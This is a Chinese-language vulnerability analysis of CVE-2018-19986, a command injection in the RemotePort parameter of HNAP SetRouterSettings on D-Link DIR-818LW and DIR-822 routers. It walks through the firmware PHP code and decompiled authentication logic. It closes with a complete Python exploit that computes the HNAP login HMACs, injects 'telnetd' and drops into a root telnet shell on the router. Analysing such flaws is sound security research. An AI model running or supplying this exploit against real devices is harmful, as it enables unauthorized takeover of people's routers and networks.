（CVE-2018-19986）D-Link DIR-818LW&828命令注入漏洞¶
一、漏洞简介¶
D-Link DIR-822和D-Link DIR-818LW都是中国台湾友讯（D-Link）公司的一款无线路由器。 D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中的‘RemotePort’参数存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
二、漏洞影响¶
D-Link DIR-818LW Rev.A 2.05.B03
DIR-822 B1 202KRb06
三、复现过程¶
漏洞分析¶
原理¶
D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中，通过HNAP1协议访问SetRouterSettings时，RemotePort参数存在操作系统命令注入漏洞。在SetRouterSettings.php源码中，RemotPort参数没有经过任何检查，直接存放于$path_inf_wan1."/web"，并且在iptwan.php中的IPTWAN_build_command函数中使用$path_inf_wan1."/web"变量作为iptables的参数，同样未做检查。构造SetRouterSettings.xml，使RemotePort中包含如telnetd的shell命令，利用该漏洞执行非法操作系统命令。
./etc/templates/hnap/SetRouterSettings.php：
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0);
#$WAN1 = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
……
$remotePort = query($nodebase."RemotePort");
……
set($path_inf_wan1."/web", $remotePort);
./etc/services/IPTABLES/iptwan.php
function IPTWAN_build_command($name){
$path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
……
$web = query($path."/web");
……
#web作为iptables的参数写入$_GLOBALS["START"]
if (query($path."/inbfilter") != "")
$inbfn = cut(query($path."/inbfilter"), 1, "-");
$hostip = query($path."/weballow/hostv4ip");
if ($hostip != "")
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
}
else
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." -j ACCEPT\n");
}
……
}
PS：服务器的web目录为/htdocs/web/
关于HNAP¶
The Home Network Administration Protocol (HNAP) is an HTTP-Simple Object Access Protocol (SOAP)-based protocol that can be implemented inside of network devices to allow advanced programmatic configuration and management by remote entities.
HNAP是由Pure Networks开发的协议，后续由Cisco管理与开发。HNAP用于网络设备之间的交互，该协议基于SOAP和HTTP，以post的方式发包。
使用HNAP：在HTTP header中加入SOAPAction，该字段中会指明请求的操作，如Login，并向http://[ip]/HNAP1发送数据，数据形式为xml。
举个栗子，下图是登录时的抓包：
192.168.0.1向路由器192.168.0.2发送数据，在SOAPAction中指定了请求内容。
路由器收到之后以LoginResponse回复发送方，返回了一些登录需要的关键数据.
发送方收到之后，login的action由request变成了login，即发送用户名密码的过程，密码是由用户私钥处理过的数据。
路由器验证登录的用户名和密码，返回登录成功信息。
理解HNAP¶
为了再深入理解HNAP，查看/htdocs/cgibin二进制文件，简化流程如下：
hnap_main(){
memset(acStack1708,0,0x100);
getenv("HTTP_AUTHORIZATION");
soapaction = getenv("HTTP_SOAPACTION");
request_method = getenv("REQUEST_METHOD");
hnap_auth = getenv("HTTP_HNAP_AUTH");
cookie = getenv("HTTP_COOKIE");
referer = getenv("HTTP_REFERER");
memset(php_path,0,0x100);
//当未指定soapaction时，默认请求为GetDeviceSettings
if (soapaction == (char *)0x0) {
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings";
……
}
else{
……
__s1 = strstr(soapaction,"http://purenetworks.com/HNAP1/Login");
if (__s1 != (char *)0x0) {
……
parse_param_value(uVar2,"Action",action);
parse_param_value(uVar2,"Username",username);
parse_param_value(uVar2,"LoginPassword",pwd);
parse_param_value(uVar2,"Captcha",captcha);
iVar1 = strcmp(action,"request");
//当action为request时
if (iVar1 == 0) {
//产生一个长度为0X32的随机字符串
//例：LVy04tz2fCRlZIu8vefr1OCKu9qTOQaktWkwOhy3rNnQfhWaKB
get_random_string(random_string,0x32);
//cookie_value为前十个字符
//例：LVy04tz2fC
strncpy(cookie_value,random_string,10);
//challenge为接下来20个字符
//例：RlZIu8vefr1OCKu9qTOQ
strncpy(random_challenge,random_string_10,0x14);
//public key为接下来20个字符
//例：aktWkwOhy3rNnQfhWaKB
strncpy(public_key,random_string_30,0x14);
sprintf(public_key_and_0,"%s%s",public_key,0);
strcpy(COOKIE,cookie_value);
strcpy(CHALLENGE,random_challenge);
//HMAC_MD5就是常见的HMAC，hash算法为MD5。这里函数的输出放在第三个参数中
//例：hmac_1=E188583458DE427B6A71C2DD04CB632C
HMAC_MD5(random_challenge,public_key_and_0,hmac_1);
……
//set challenge,privatekey,captcha
//返回soap xml
}//end of action=request
else{
if(strcmp(action,"login")==0 && cookie !=0)
{
find_uid = strstr(cookie,"uid=");
if (find_uid == (char *)0x0) goto LAB_004137fc;
//获取cookie的值
strncpy(cookie_value,find_uid + 4,10);
//检查cookie
__fd=get_cgdata_by_uid(acStack1904,cookie_value);
if (__fd < 0) {
iVar1 = -2;
goto LAB_004137fc;
}
……
//由HMAC计算口令，以hmac_1作为key,对challenge进行hmac
HMAC_MD5(CHALLENGE,hmac_1,PWD);
……
//将计算的口令与发送方中的口令比较
__fd = strcmp((char *)PWD,pwd);
if (__fd == 0) {
login_response_xml("success");
……
}
}//end of action=login
}
} //end of Login
//不是login的情况
if (hnap_auth != (char *)0x0){
……
//hnap_auth用空格分为两部分
auth_1 = strtok(hnap_auth," ");
auth_2 = strtok((char *)0x0," ");
//将auth_2和soapaction连接起来
strcpy(auth_2_soapaction,auth_2);
strcat(auth_2_soapaction,soapaction);
……
HMAC_MD5(auth_2_soapaction,hmac_1,HMAC_AUTH);
//比较auth_1和计算后的值
__fd = strcmp(auth_1,HMAC_AUTH);
if (__fd == 0) {
……
//如果不是Logout，就跳转到0x413330
__format = strstr(soapaction,"http://purenetworks.com/HNAP1/Logout");
if (__format == (char *)0x0) goto LAB_00413330;
……
}
}//end of soapaction!=0
LAB_00413330:
//在soapaction中查找最后一个“/”之后的内容为operation
__format = strrchr(soapaction,0x2f);
operation = __format + 1;
if (__format != (char *)0x0) {
sVar3 = strlen(operation);
if (operation[sVar3 - 1] == '\"') {
operation[sVar3 - 1] = 0;
}
//hnap相关的php都在/etc/templates/hnap下
snprintf(php_path,0x100,"%s/%s.php","/etc/templates/hnap/",operation);
//判断与请求相关的php是否存在，0为存在
iVar1 = access(php_path,0);
if (iVar1 == 0) {
……
snprintf(acStack1708,0x100,"%s%s.php\nShellPath=%s%s.sh\nPrivateKey=%s\n",
"/etc/templates/hnap/",operation,&var_run,operation,&DAT_00438344);
sobj_add_string(iVar4,acStack1708);
……
uVar2 = sobj_get_string();
//该函数会建立一个socket并把上面的acStack1708字符发送给socket；这个socket是与本地的xmldb_sock建立的，理解为发送给本地以执行对应的php
xmldbc_ephp(0,0,uVar2,stdout);
……
snprintf(acStack1708,0x100,"%s",operation);
iVar4 = FUN_004125c8(acStack1708,"/etc/templates/hnap//.shell_action");
//这里无论如何都会为format赋值，内容是执行一个sh脚本的命令
if (iVar4 == 0) {
__format = "sh %s%s.sh > /dev/console";
}
else {
__format = "sh %s%s.sh > /dev/console &";
}
//执行该脚本
//var_run变量对应的字符是"/var/run/"
snprintf(acStack1708,0x100,__format,&var_run,operation);
system(acStack1708);
……
}
漏洞执行顺序¶
在上面的hnap_main代码中，代入本漏洞SetRouterSettings的情况，最后会执行sh /var/run/SetRouterSettings.sh，这个脚本是动态生成的，在模拟固件并执行poc成功之后查看内容（还没找到具体生成sh脚本的代码）
#!/bin/sh
echo "[$0]-->RouterSettings Change" > /dev/console
event DBSAVE > /dev/console
service HTTP.WAN-1 start > /dev/console #here！！！
xmldbc -s /runtime/hnap/dev_status '' > /dev/console
HTTP.WAN-1是一种服务，对应于/etc/services/HTTP.WAN-1.php，该服务会开启IPT.WAN-1服务
<?
include "/etc/services/HTTP/httpsvcs.php";
fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");
fwrite("a",$START,"service IPT.WAN-1 restart\n");#here!!!!
fwrite("a",$START,"service STUNNEL restart\n");
httpsetup("WAN-1");
?>
/etc/services/IPT.WAN-1.php会执行之前所说的iptables命令
<?
include "/htdocs/phplib/trace.php";
include "/etc/services/IPTABLES/iptwan.php";
IPTWAN_build_command("WAN-1");
?>
漏洞复现¶
import requests
import telnetlib
from hashlib import md5
import time
import math
trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size
def hmac_md5(key, msg):
if len(key) > blocksize:
key = md5(key).digest()
key += chr(0) * (blocksize - len(key))
o_key_pad = key.translate(trans_5C)
i_key_pad = key.translate(trans_36)
return md5(o_key_pad + md5(i_key_pad + msg).digest())
def HNAP_AUTH(SOAPAction, privateKey):
b = math.floor(int(time.time())) % 2000000000
b = str(b)[:-2]
h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
return h + " " + b
#输入IP和admin口令，通过读hnap_main的二进制，理解初始状态admin的口令为空（public_key_0：0代表空值）
IP = '192.168.0.1'
adminPw = ''
command = "telnetd" # command injection id
headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'
headers["Origin"] = "http://" + IP
headers["Referer"] = "http://" + IP + "/info/Login.html"
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["X-Requested-With"] = "XMLHttpRequest"
#构造一个action为request的请求发送给Login
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
data = r.text
#通过获取的publickey计算privatekey，根据privatekey计算口令的hmac(在上文中对应的是hmac_1)
challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")])
cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")])
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()
#构造action为login的请求，发送用户名和口令
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
#登录成功后访问SetRouterSettings设置路由器的一些配置，其中RemotePort被设置为command
headers["Origin"] = "http://" + IP
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
headers["Accept"] = "text/xml"
payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
print '[*] command injection'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print(r.text)
print '[*] waiting 30 sec...'
time.sleep(30)
#利用成功之后，服务端已经开启了Telnet服务，攻击者可直接连服务器的Telnet
print '[*] enjoy your shell'
telnetlib.Telnet(IP).interact()